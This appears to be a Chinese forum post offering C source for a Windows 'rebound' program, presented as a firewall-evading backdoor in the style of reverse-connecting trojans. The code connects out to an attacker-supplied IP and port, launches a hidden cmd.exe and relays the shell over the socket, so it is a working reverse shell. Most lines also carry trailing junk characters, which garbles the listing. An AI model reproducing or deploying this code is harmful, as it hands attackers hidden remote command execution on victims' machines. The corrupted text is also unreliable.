Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 :19s=0  
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/* ============================== 0zjGL7  
Rebound port in Windows NT V%^d~^m,H  
By wind,2006/7 ])zpx-  
===============================*/ 9q
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#include Ml_!
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#include EYZ,GT-I  
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#pragma comment(lib,"wsock32.lib") "?Jf#  
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void OutputShell(); /DSy/p0%  
SOCKET sClient; hg `N`O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; d%1Vby  
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void main(int argc,char **argv) S~y.>X3"P  
{ t.7_7`bin~  
WSADATA stWsaData; Mi[,-8Sk  
int nRet; .n}k,da@(  
SOCKADDR_IN stSaiClient,stSaiServer; r+MqjdXG  
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if(argc != 3) 7{[i)  
{ OJLyqncw  
printf("Useage:\n\rRebound DestIP DestPort\n"); EmV ZqW  
return; 6 c-9[-Px  
} %S%0/  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ^Ov+n1,)  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /5:qS\Zl  
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stSaiClient.sin_family = AF_INET; &$pA,Gjin\  
stSaiClient.sin_port = htons(0); c=IjR3F  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ">R`S<W  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR)
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{ -k3WY&9,  
printf("Bind Socket Failed!\n"); Q".p5(<  
return; .@f)#2  
} UeSPwY  
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stSaiServer.sin_family = AF_INET; qo}u(pOj|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); _jk+$`[9PL  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); <V4"+5cJ8  

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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) rj;~SC{  
{ g_MxG!+(V  
printf("Connect Error!"); <``krPi  
return; 6E:5w9_=c  
} d/Fy0=0  
OutputShell(); X#u< 3<P  
} L(kW]  
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void OutputShell() [AAIBb+U  
{ \'Ca
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char szBuff[1024]; 3+:
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SECURITY_ATTRIBUTES stSecurityAttributes; _."X# }W  
OSVERSIONINFO stOsversionInfo; 6)#%36rP  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; _1HEGX\  
STARTUPINFO stStartupInfo; yI*h"?7T  
char *szShell; vjXCArS  
PROCESS_INFORMATION stProcessInformation; 0,[-4m  
unsigned long lBytesRead; Kl+4A}Uo  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); '5SO3/{b  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ^NOy:>  
stSecurityAttributes.lpSecurityDescriptor = 0; *uZ'MS  
stSecurityAttributes.bInheritHandle = TRUE; 29h
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <=!|U0YV  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 7#iT
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4 {3< `  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); fm^)u"  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5[>N[}Ck>  
stStartupInfo.wShowWindow = SW_HIDE; I}7=\S/@  
stStartupInfo.hStdInput = hReadPipe; KXga{]G:  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; %p.hwgvnp  
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GetVersionEx(&stOsversionInfo); >R8eAR$N  
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switch(stOsversionInfo.dwPlatformId) l j*J|%~  
{ v_ W03\  
case 1: g4>1> .s  
szShell = "command.com"; i"C?6R
 
break; 'QEQyJ0EB  
default: oq}Q2[.b  
szShell = "cmd.exe"; 9]TvLh3  
break; +S>}<OE
 
} 2T#>66^@q  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #o-CG PE  
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send(sClient,szMsg,77,0); ;Cqjg.wkB  
while(1) lEv<n6:_  
{ C:d$
 
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Lg
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if(lBytesRead) h 66X746  
{ k@= LR  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); #T8$NZA  
send(sClient,szBuff,lBytesRead,0); M.R]hI  
} aF\?X&|  
else V2?&3Z)W  
{ Yl6\}_h`  
lBytesRead=recv(sClient,szBuff,1024,0); -'!%\E;5  
if(lBytesRead<=0) break; IW'2+EGc  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); S4Vv _k-&  
} )vFZl
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} \aO.LwYm;:  
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return; MO$dim>  
}